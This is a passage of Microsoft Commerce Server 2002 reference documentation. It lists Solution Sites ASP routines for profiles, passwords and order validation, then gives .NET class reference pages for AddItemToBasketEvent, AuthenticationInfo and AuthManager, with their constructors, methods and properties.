rowRenderPropertyTip

rowRenderSearchOptionForDate

rowRenderSearchOptionForInteger

rowRenderSearchOptionForString

rowRenderStatusInfo

tableChangePasswordTasks

tableRenderChangePasswordContents

tableRenderEditPageTasks

tableRenderFooterInfo

tableRenderListPageTasks

tableRenderMessageBoxPage

tableRenderMessageBoxPageButtons

tableRenderMultipleRecords

tableRenderOrdersListContents

tableRenderOrdersListTasks

tblOrderDetailsTasks

tblRenderOrderDetailsContents


UpdateAddressBook - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub creates a profile for the specified address.

Definition

Sub UpdateAddressBook(
  byVal dictAddr,
  byVal sAction,
  byRef sAddrID,
  byVal rsAddr
)

Defined in File

newaddr.asp

Routines Called

None.

Called By

SetupAddressForm


UpdatePasswordActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function saves the user_security_password property for the user.

Definition

Function UpdatePasswordActionHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\password_handlers.asp

Routines Called

bValidatePasswordChars

GetRequestString

htmRenderChangePasswordPage

UpdateUserPasswordProperty

Called By

PasswordActionHandlers


UpdateSelectActionPropertyName - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function updates properties changed by the user. The fields associated with the selected properties are updated, as well as the "changed by" and "date updated" values.

Definition

Sub UpdateSelectActionPropertyName(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\save_one_profile.asp

Routines Called

EnsureUserProfile

GetQualifiedName

GetRequestString

iGetCountOfProfiles

rsGetProfileDetails

SaveCommonValueForAllSelectedRecords

SaveProfileProperty

sGetSelectActionPropertyName

Called By

PrepareSelectedAction


UpdateUserAccountControlProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function updates the user_account_control property of the profile based on the iPartnerDeskRole and dictSearchOptions parameters.

Definition

Sub UpdateUserAccountControlProperty(
  byVal iPartnerDeskRole,
  byVal dictSearchOptions
)

Defined in File

services\include\save_all_profiles.asp

Routines Called

GetTableNameAndWhereClause

sAddSetClause

sAddWhereClauseForPartnerRole

sConstructWHEREclause

Called By

AddSetClauseAndUpdateUserAccountControl


UpdateUserPasswordProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub updates the user password property depending on the current user type (DELEGATED_ADMIN or USER).

Definition

Sub UpdateUserPasswordProperty(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sUserOldPassword,
  byVal sUserNewPassword
)

Defined in File

services\include\save_one_profile.asp

Routines Called

EnsureUserProfile

GetQualifiedName

iGetCountOfProfiles

rsGetUserDetails

Called By

UpdatePasswordActionHandler


UpdateUserProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub updates the profile for the current user.

Definition

Sub UpdateUserProfile(
  byRef rsUser
)

Defined in File

include\std_profile_lib.asp

Routines Called

None.

Called By

bSaveProfileDetails

GetNewGuestUserProfile

mscsNewRegisteredUserProfile

mscsTransferGuestUserProfile

Remarks

This is a wrapper subroutine for the Update method of the ProfileObject object. Call this subroutine whenever you update the current profile for the current user or when you create a new profile for the current user. This subroutine automatically sets the date_last_changed property and writes this information to a cookie (where supported) to handle host switching in a Web farm.


ValidateFields - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function validates submitted profile form fields retrieved from the HTTP request using the profile schema specified by the listCtrls parameter.

Definition

Function ValidateFields(
  byVal listCtrls
)

Defined in File

services\include\lib.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

GetRequestString

iGetCurrentUserPropertyAccessClass

sGetUserAccessForThisProperty

Called By

PrepareInsertProfile

PrepareSaveAllAction

PrepareSaveChangesConfirmation

PrepareSaveProfiles


ValidateSubmittedCreditCardData - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function validates credit card data.

Definition

Function ValidateSubmittedCreditCardData(
  mscsOrderGrp,
  listFlds,
  dictFldVals,
  dictFldErrs,
  listFrmErrs,
  sVerifyWithTotal
)

Defined in File

crdtcard.asp

Routines Called

CheckOut

GetAnyOrderForm

GetFieldsErrorDictionary

SetCreditCardInfo

Called By

InitializeCreditcardPage

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


ValidateSubmittedLoginData - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function validates login data.

Definition

Function ValidateSubmittedLoginData(
  rsLoginUser,
  listFlds,
  dictFldVals,
  dictFldErrs,
  listFrmErrs
)

Defined in File

login\login.asp

Routines Called

GetDictionary

GetFieldsErrorDictionary

GetQualifiedName

GetSimpleList

rsGetProfile

Called By

PrepareLoginPage

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


ValidateSubmittedPurchaseOrderData - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function validates submitted purchase order data.

Definition

Function ValidateSubmittedPurchaseOrderData(
  mscsOrderGrp,
  listFlds,
  dictFldVals,
  dictFldErrs,
  listFrmErrs,
  byVal sVerifyWithTotal
)

Defined in File

po.asp

Routines Called

CheckOut

GetAnyOrderForm

GetFieldsErrorDictionary

SetPurchaseOrderInfo

Called By

Main (po.asp)

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


varGetPropertyValue - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines the profile property value to display.

Definition

Function varGetPropertyValue(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal listProfileSchema,
  byVal bValidPostedValues,
  byVal rsProfile,
  byVal sProfileIDs,
  byVal bDisplayPostedValues
)

Defined in File

services\include\render_edit_common.asp

Routines Called

varGetValueFromPropertyDictionaries

varGetValueFromRequestObject

varUpdateValueForCurrentAction

Called By

rowRenderProperty


varGetValueFromPropertyDictionaries - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the property value from a list of property dictionaries.

Definition

Function varGetValueFromPropertyDictionaries(
  byVal oProperty,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_common.asp

Routines Called

None.

Called By

rowRenderBlankProperty

varGetPropertyValue


varGetValueFromRequestObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the property value from the underlying Request object (URL or HTML FORM).

Definition

Function varGetValueFromRequestObject(
  byVal oProperty
)

Defined in File

services\include\render_edit_common.asp

Routines Called

GetRequestString

Called By

rowRenderBlankProperty

rowRenderReadOnlyProperty

varGetPropertyValue


varUpdateValueForCurrentAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function gets the property value based on the current action type as stored in the global variable sAction.

Definition

Function varUpdateValueForCurrentAction(
  byVal sAction,
  byVal sSubAction,
  byVal rsProfile,
  byVal oProperty,
  byVal sProfileIDs
)

Defined in File

services\include\render_edit_common.asp

Routines Called

iGetCountOfProfiles

Called By

varGetPropertyValue


Programmer's Reference

This section provides reference documentation about programming with the Microsoft Commerce Server 2002 platform. This includes information about the Commerce Server .NET Application Framework namespaces and classes, the configuration settings for the web.config file, Component Object Model (COM) objects, the COM interfaces you can implement, the supplied pipeline components, XML structures, database schemas, Commerce Server Business Desk utilities, and so on.

This section contains:

  • .NET Class Reference. Provides reference documentation for the Commerce Server .NET Application Framework classes.
  • .NET Configuration Settings. Provides reference documentation for the configuration settings used in the web.config file in Commerce Server .NET Application Framework applications.
  • COM Object Reference. Provides reference documentation for the COM objects supplied with Commerce Server, and for each of their properties and methods. These are the objects that you will explicitly create and invoke. This section contains parallel reference pages that describe the objects from the perspective of two different programming languages:
    • Microsoft Visual Basic/Microsoft Visual Basic Scripting Edition (VBScript)
    • C++
  • Interface Reference. Provides reference documentation for the COM interfaces that you can implement so that your objects can be invoked by Commerce Server. These include the pipeline interfaces that you implement to create your own pipeline components, and the Site Packager interface that allows you to build objects that can be invoked by Site Packager and Commerce Server Manager.
  • Pipeline Component Reference. Provides reference documentation for the pipeline components supplied with Commerce Server.
  • OLE DB Provider for Commerce Server. Provides reference documentation for the OLE DB Provider that provides access to the Profiles service and the Data Warehouse within Commerce Server.
  • Business Desk Reference. Provides reference documentation for Business Desk, including details of the events, properties, and methods of the HTML Components (HTCs), as well as details about the constants, global variables, and utility routines provided by Business Desk.
  • XML Reference. Provides reference documentation for the structure of various XML documents used within Commerce Server.
  • Schema Reference. Provides reference documentation about various database schemas used in key areas of Commerce Server where detailed knowledge of the schema is important.
  • Style Sheet Reference. Provides information about the Cascading Style Sheets (CSS) used by the Business Desk.


.NET Class Reference

This section contains reference pages for objects and services used in .NET-based Commerce Server applications.

This section contains:

  • Microsoft.CommerceServer.Runtime. Describes the classes contained in the Microsoft.CommerceServer.Runtime namespace.
  • Microsoft.CommerceServer.Runtime.Caching Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Caching namespace.
  • Microsoft.CommerceServer.Runtime.Catalog Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Catalog namespace.
  • Microsoft.CommerceServer.Runtime.Configuration Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Configuration namespace.
  • Microsoft.CommerceServer.Runtime.Diagnostics Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Diagnostics namespace.
  • Microsoft.CommerceServer.Runtime.Orders Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Orders namespace.
  • Microsoft.CommerceServer.Runtime.Pipelines Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Pipelines namespace.
  • Microsoft.CommerceServer.Runtime.Profiles Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Profiles namespace.
  • Microsoft.CommerceServer.Runtime.Targeting Describes the Base Class Library classes contained in the Microsoft.CommerceServer.Runtime.Targeting namespace.
  • Microsoft.CommerceServer.Interop Describes the Primary Interop classes contained in the Microsoft.CommerceServer.Interop namespace.

See Also

Commerce Server .NET Application Framework


Microsoft.CommerceServer.Runtime

The classes in the Microsoft.CommerceServer.Runtime namespace contain the functionality needed for authentication, event logging, and other core runtime services.

Microsoft.CommerceServer.Runtime Namespace Object Model

Depicts the object model of the Microsoft.CommerceServer.Runtime namespace.

Classes

Class | Description
AuthenticationInfo | Abstracts the authentication components.
AuthManager | Performs user identification and authentication and is used to manage user security information.
AuthTicket | Contains the authentication ticket for the user.
CommerceApplicationModule | The primary CommerceModule responsible for initialization of the site framework. This module must be listed before all other CommerceModules in the httpModules section.
CommerceAuthenticationException | Base class for exceptions thrown from Authentication sub-system.
CommerceAuthenticationFailedDecryptionException | Base class for exceptions thrown from the Authentication sub-system.
CommerceAuthenticationModule | Provides a framework context for managing the authentication of site visitors, client side cookie detection, and creation of an instance of the AuthManagerInfo class at page scope.
CommerceContext | The primary class used to interface with Commerce Server. Provides access to request-level Commerce Server context such as the current UserObject.
CommerceCreateObjectException | Exception raised when a COM object could not be created.
CommerceDebugException | A special exception raised by components of a Commerce Server application when they encounter an error during the Debug or Checked mode of operation.
CommerceEventMemberAttribute | Marks properties as Commerce event properties.
CommerceException | Base type for all .NET-based Commerce Server exceptions.
CommerceModule | All Commerce Server modules inherit from CommerceModule. CommerceModule is an IHttpModule.
CommerceModuleDependencyException | Exception raised when a module depends on another module that has not been configured.
CommerceResourceDependencyException | Exception raised when a resource does not exist in the Commerce Server Administration database.
CommerceServerInfo | Gets the installed culture for Commerce Server 2002.
Dictionary | Supports the creation, storage, and retrieval of name/value pairs in memory.
ProfileTicket | Contains the profile ticket for the user.
QueryStringBuilder | Builds encrypted query strings for cookie and cookieless browsers.
ReadOnlyStringCollection | Provides a read-only string collection. Inherits from the ReadOnlyCollectionBase class.
SimpleList | Allows creation of an array of Variants that support enumeration.
TicketBase | Provides the base functionality for ticket handling operations in the Commerce Server 2002 Application Runtime.

Enumerations

Enumeration | Description
LogStatus | Enumerator listing the return type values for the LogCommerceEvent method.

Examples

Example | Description
Code to Build a Login Page | Describes how to check for authenticated users, to set tickets to identify users, and to add and modify ticket properties.

See Also

Commerce Server .NET Application Framework Tutorial


AddItemToBasketEvent Class (BCL)

Event used whenever items are added to the shopping basket.

Public Instance Constructor

Constructor | Description
AddItemToBasketEvent Constructor | Creates a new instance of the AddItemToBasketEvent class.

Public Instance Methods

Method | Description
Validate (Inherited from BasketEvent) | Validates the CatalogName and ProductID property for the basket event.

Public Instance Properties

Property | Description
CatalogName (Inherited from BasketEvent) | The name of the catalog to which the product belongs.
EventType | Returns the event type for the class.
ProductID (Inherited from BasketEvent) | The product identifier for the product associated with the basket.
ReadOnlyPrID (Inherited from BasketEvent) | This commerce property is calculated internally and is read only.
VariantID (Inherited from BasketEvent) | The variant ID for the product associated with the basket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AddItemToBasketEvent Constructor (BCL)

Public Instance Constructor

Constructor | Description
AddItemToBasketEvent Constructor | Creates a new instance of the AddItemToBasketEvent class.


AddItemToBasketEvent Constructor (BCL)

Use this method to create a new instance of the AddItemToBasketEvent class.

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public AddItemToBasketEvent(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AddItemToBasketEvent Methods (BCL)

Public Instance Methods

Method | Description
Validate (Inherited from BasketEvent) | Validates the CatalogName and ProductID properties for the basket event.


AddItemToBasketEvent Properties (BCL)

Public Instance Properties

Property | Description
CatalogName (Inherited from BasketEvent) | The name of the catalog to which the product belongs.
EventType | Returns the event type for the class.
ProductID (Inherited from BasketEvent) | The product identifier for the product associated with the basket.
ReadOnlyPrID (Inherited from BasketEvent) | This commerce property is calculated internally and is read only.
VariantID (Inherited from BasketEvent) | The variant ID for the product associated with the basket.


AddItemToBasketEvent.EventType Property (BCL)

The EventType property is a read-only string that returns the event type for the class.

Definition

[Visual Basic .NET]
Public ReadOnly Property EventType As System.String
[C#]
public System.String EventType {get;}

Property Value

A string containing the event type for the class.

Remarks

For additions to basket events, the string "AIBSK" is returned.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthenticationInfo Class (BCL)

Abstracts the authentication components.

Public Instance Methods

Method | Description
Dispose (Inherited from AuthManager) | Releases resources used by this object.
GenerateEncryptionKey (Inherited from AuthManager) | Generates an encryption key for encrypting/decrypting cookie and query string data for tickets.
GetUserIDFromCookie(String) (Inherited from AuthManager) | Retrieves the user ID from a specified cookie.
GetUserIDFromCookieAndKey(String, String) (Inherited from AuthManager) | Retrieves the user ID from a specified cookie using an encryption key.
IsAuthenticated (Inherited from AuthManager) | Determines whether the current user has a valid MSCSAuth ticket. Checks to see if the user was authenticated within the given time window.
IsAuthenticated(Int32) (Inherited from AuthManager) | Determines whether the current user has a valid MSCSAuth ticket. Allows the determination of whether the user has been authenticated within the default time window of 90 minutes.
Refresh(String) (Inherited from AuthManager) | Refreshes the siteconfig cache in the AuthManager object.
SetAuthTicket(String, Boolean) (Inherited from AuthManager) | Sets an encrypted MSCSAuth ticket for a registered user with the default time window of 90 minutes.
SetAuthTicket(String, Boolean, Int32) (Inherited from AuthManager) | Sets an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket(String, Boolean) (Inherited from AuthManager) | Sets an MSCSProfile ticket for an anonymous user.

Public Instance Properties

Property | Description
AuthTicket (Inherited from AuthManager) | Retrieves the AuthTicket property.
ProfileTicket (Inherited from AuthManager) | Retrieves the ProfileTicket property.
SupportsPersistentCookies | Indicates if the user supports persistent cookies.
SupportsSessionCookies | Indicates if the user supports session cookies.

Protected Instance Methods

Method | Description
CheckState (Inherited from AuthManager) | Verifies that the object has not already been disposed.
Dispose(Boolean) (Inherited from AuthManager) | Releases the unmanaged resources used by this class and optionally releases the managed the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server Family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthenticationInfo Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from AuthManager) | Releases resources used by this object.
GenerateEncryptionKey (Inherited from AuthManager) | Generates an encryption key for encrypting/decrypting cookie and query string data for tickets.
GetUserIDFromCookie(String) (Inherited from AuthManager) | Retrieves the user ID from a specified cookie.
GetUserIDFromCookieAndKey(String, String) (Inherited from AuthManager) | Retrieves the user ID from a specified cookie using an encryption key.
IsAuthenticated (Inherited from AuthManager) | Determines whether the current user has a valid MSCSAuth ticket. Determines if the user was authenticated within the default time window of 90 minutes.
IsAuthenticated(Int32) (Inherited from AuthManager) | Determines whether the current user has a valid MSCSAuth ticket. Determines if the user was authenticated within the given time window.
Refresh(String) (Inherited from AuthManager) | Refreshes the siteconfig cache in the AuthManager object.
SetAuthTicket(String, Boolean) (Inherited from AuthManager) | Sets an encrypted MSCSAuth ticket for a registered user with the default time window of 90 minutes.
SetAuthTicket(String, Boolean, Int32) (Inherited from AuthManager) | Sets an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket(String, Boolean) (Inherited from AuthManager) | Sets an MSCSProfile ticket for an anonymous user.

Protected Instance Methods

Method | Description
CheckState (Inherited from AuthManager) | Verifies that the object has not already been disposed.
Dispose(Boolean) (Inherited from AuthManager) | Releases the unmanaged resources used by this class and optionally releases the managed the resources.


AuthenticationInfo Properties (BCL)

Public Instance Properties

Property | Description
AuthTicket (Inherited from AuthManager) | Retrieves the AuthTicket property.
ProfileTicket (Inherited from AuthManager) | Retrieves the ProfileTicket property.
SupportsPersistentCookies | Indicates if the user supports persistent cookies.
SupportsSessionCookies | Indicates if the user supports session cookies.


AuthenticationInfo.SupportsPersistentCookies Property (BCL)

The SupportsPersistentCookies property is a read-only bool that indicates if the user supports persistent cookies.

Definition

[Visual Basic .NET]
Public ReadOnly Property SupportsPersistentCookies As System.Boolean
[C#]
public System.Boolean SupportsPersistentCookies {get;}

Property Value

Set to True if the user supports persistent cookies, False if the user does not support persistent cookies.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server Family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthenticationInfo.SupportsSessionCookies Property (BCL)

The SupportsSessionCookies property is a read-only bool that indicates if the user supports session cookies.

Definition

[Visual Basic .NET]
Public ReadOnly Property SupportsSessionCookies As System.Boolean
[C#]
public System.Boolean SupportsSessionCookies {get;}

Property Value

Set to True if the user supports session cookies, False if the user does not support session cookies.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server Family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager Class (BCL)

Use this object to perform user identification and authentication and to manage user security information.

Public Instance Constructor

Constructor | Description
AuthManager Constructor(String, DebugContext) | Creates a new instance of the AuthManager class.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GenerateEncryptionKey | Generates an encryption key for encrypting/decrypting cookie and query string data for tickets.
GetUserIDFromCookie(String) | Retrieves the user ID from a specified cookie.
GetUserIDFromCookieAndKey(String, String) | Retrieves the user ID from a specified cookie using an encryption key.
IsAuthenticated | Determines whether the current user has a valid MSCSAuth ticket. Determines if the user was authenticated within the default time window of 90 minutes.
IsAuthenticated(Int32) | Determines whether the current user has a valid MSCSAuth ticket. Determines if the user was authenticated within the given time window.
Refresh(String) | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket(String, Boolean) | Sets an encrypted MSCSAuth ticket for a registered user with the default time window of 90 minutes.
SetAuthTicket(String, Boolean, Int32) | Sets an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket(String, Boolean) | Sets an MSCSProfile ticket for an anonymous user.

Public Instance Properties

Property | Description
AuthTicket | Retrieves the AuthTicket property.
ProfileTicket | Retrieves the ProfileTicket property.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Remarks

The methods GetUserIDFromCookie(String), GetUserIDFromCookieAndKey(String, String) and GenerateEncryptionKey, facilitate rolling key encryption functionality. For more information about this feature, see Rolling Key Encryption.

Any operation that requires decryption of the ticket will fail if you change the encryption key. One important instance of this behavior is with profile tickets, because they are persisted on the client computer. Hence when a user with a persisted profile ticket that was encrypted with the old key comes back to the site, the AuthManager is not be able to decrypt this ticket. For more information about this issue, see Rolling Key Encryption.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server Family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager Constructor (BCL)

Public Instance Constructor

Constructor | Description
AuthManager Constructor(String, DebugContext) | Creates a new instance of the AuthManager class.


AuthManager Constructor (String, DebugContext) (BCL)

Use this method to create a new instance of the AuthManager class.

[Visual Basic .NET]
Public Sub New( _
  ByVal siteName As System.String, _
  ByVal debugContext As DebugContext _
)
[C#]
public AuthManager(
  System.String siteName,
  DebugContext debugContext
);

Parameters

[Visual Basic .NET]
siteName
A String that contains the Commerce Server site name.
debugContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user.
[C#]
siteName
A String that contains the Commerce Server site name.
debugContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user.

Remarks

After any AuthManager instance has been initialized within an ASP.NET-based site, any new instances of the AuthManager class initialized within that site use the cached resources as loaded by the first constructor. Therefore, even if a different value is used for the siteName parameter, the AuthManager object will still be configured to run using the site configuration specified in the first instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GenerateEncryptionKey | Generates an encryption key for encrypting/decrypting cookie and query string data for tickets.
GetUserIDFromCookie(String) | Retrieves the user ID from a specified cookie.
GetUserIDFromCookieAndKey(String, String) | Retrieves the user ID from a specified cookie using an encryption key.
IsAuthenticated | Determines whether the current user has a valid MSCSAuth ticket. Determines if the user was authenticated within the default time window of 90 minutes.
IsAuthenticated(Int32) | Determines whether the current user has a valid MSCSAuth ticket. Determines if the user was authenticated within the given time window.
Refresh(String) | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket(String, Boolean) | Sets an encrypted MSCSAuth ticket for a registered user with the default time window of 90 minutes.
SetAuthTicket(String, Boolean, Int32) | Sets an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket(String, Boolean) | Sets an MSCSProfile ticket for an anonymous user.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


AuthManager.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.Dispose Method (BCL)

Use this method to release resources used by this object.

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the AuthManger.Dispose(Boolean) method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.Dispose(Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.GenerateEncryptionKey Method (BCL)

Use this method to generate an encryption key for encrypting/decrypting cookie and query string data for tickets.

[Visual Basic .NET]
Public Function GenerateEncryptionKey( _
) As System.String
[C#]
public System.String GenerateEncryptionKey(
);

Return Value

This method returns a String containing an encryption key used for cookie encryption.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.GetUserIDFromCookie (String) Method (BCL)

Use this method to retrieve the user ID from a specified cookie.

[Visual Basic .NET]
Public Function GetUserIDFromCookie( _
  ByVal cookie As System.String _
) As System.String
[C#]
public System.String GetUserIDFromCookie(
  System.String cookie
);

Parameters

[Visual Basic .NET]
cookie
A String containing the cookie.
[C#]
cookie
A String containing the cookie.

Return Value

This method returns a String containing the user ID from the specified cookie.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.GetUserIDFromCookieAndKey (String, String) Method (BCL)

Use this method to retrieve the user ID from a specified cookie using an encryption key.

[Visual Basic .NET]
Public Function GetUserIDFromCookieAndKey( _
  ByVal cookie As System.String, _
  ByVal encryptionKey As System.String _
) As System.String
[C#]
public System.String GetUserIDFromCookieAndKey(
  System.String cookie,
  System.String encryptionKey
);

Parameters

[Visual Basic .NET]
cookie
A String containing the cookie.
encryptionKey
A String containing the encryption key.
[C#]
cookie
A String containing the cookie.
encryptionKey
A String containing the encryption key.

Return Value

This method returns a String containing the user ID from the specified cookie and key.

Requirements

Platforms: Windows 2000, Windows .NET Server family


AuthManager.IsAuthenticated Method (BCL)

Use this method to determine whether the current user has a valid MSCSAuth ticket, authenticated within the default time window of 90 minutes.

[Visual Basic .NET]
Public Function IsAuthenticated( _
) As System.Boolean
[C#]
public System.Boolean IsAuthenticated(
);

Return Value

This method returns a Boolean indicating whether or not the current user is authenticated.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.IsAuthenticated (Int32) Method (BCL)

Use this method to determine whether the current user has a valid MSCSAuth ticket. Determines if the user has been authenticated within a specified period of time.

[Visual Basic .NET]
Public Function IsAuthenticated( _
  ByVal timeWindow As System.Int32 _
) As System.Boolean
[C#]
public System.Boolean IsAuthenticated(
  System.Int32 timeWindow
);

Parameters

[Visual Basic .NET]
timeWindow
An Integer that contains the time period in minutes.
[C#]
timeWindow
An Integer that contains the time period in minutes.

Return Value

This method returns a Boolean indicating whether or not the current user is authenticated with the given time window.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.Refresh (String) Method (BCL)

Use this method to update the cached site configuration resource properties after any of the properties have been changed.

[Visual Basic .NET]
Public Sub Refresh( _
  ByVal siteName As System.String _
)
[C#]
public void Refresh(
  System.String siteName
);

Parameters

[Visual Basic .NET]
siteName
A String that contains the Commerce Server site name.
[C#]
siteName
A String that contains the Commerce Server site name.

Remarks

The siteName parameter must be the same as the sitename that was used to initialize the authmanager class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.SetAuthTicket (String, Boolean) Method (BCL)

Use this method to set an encrypted MSCSAuth ticket for a registered user with the default time window of 90 minutes.

[Visual Basic .NET]
Public Sub SetAuthTicket( _
  ByVal userID As System.String, _
  ByVal cookieSupport As System.Boolean, _
)
[C#]
public void SetAuthTicket(
  System.String userID,
  System.Boolean cookieSupport,
);

Parameters

[Visual Basic .NET]
userID
A String that contains the user ID.
cookieSupport
A Boolean that indicates whether or not the client supports cookies.
[C#]
userID
A String that contains the user ID.
cookieSupport
A Boolean that indicates whether or not the client supports cookies.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.SetAuthTicket (String, Boolean, Int32) Method (BCL)

Use this method to set an encrypted MSCSAuth ticket for a registered user.

[Visual Basic .NET]
Public Sub SetAuthTicket( _
  ByVal userID As System.String, _
  ByVal cookieSupport As System.Boolean, _
  ByVal timeWindow As System.Int32 _
)
[C#]
public void SetAuthTicket(
  System.String userID,
  System.Boolean cookieSupport,
  System.Int32 timeWindow
);

Parameters

[Visual Basic .NET]
userID
A String that contains the user ID.
cookieSupport
A Boolean that indicates whether or not the client supports cookies.
timeWindow
An Integer that contains the time period in minutes.
[C#]
userID
A String that contains the user ID.
cookieSupport
A Boolean that indicates whether or not the client supports cookies.
timeWindow
An Integer that contains the time period in minutes.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.SetProfileTicket (String, Boolean) Method (BCL)

Use this method to set an MSCSProfile ticket for an anonymous user.

[Visual Basic .NET]
Public Sub SetProfileTicket( _
  ByVal userID As System.String, _
  ByVal cookieSupport As System.Boolean _
)
[C#]
public void SetProfileTicket(
  System.String userID,
  System.Boolean cookieSupport
);

